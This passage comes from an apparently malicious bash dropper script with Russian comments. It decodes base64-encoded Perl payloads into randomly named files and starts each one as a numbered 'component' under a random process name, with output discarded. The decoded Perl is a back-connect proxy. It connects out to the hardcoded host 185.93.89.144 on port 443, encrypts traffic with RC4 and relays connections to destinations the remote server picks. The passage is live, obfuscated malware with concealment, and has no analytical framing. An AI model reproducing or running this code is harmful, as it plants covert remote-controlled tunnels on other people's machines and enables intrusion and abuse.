IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #23 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #23 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 24 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNDQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D 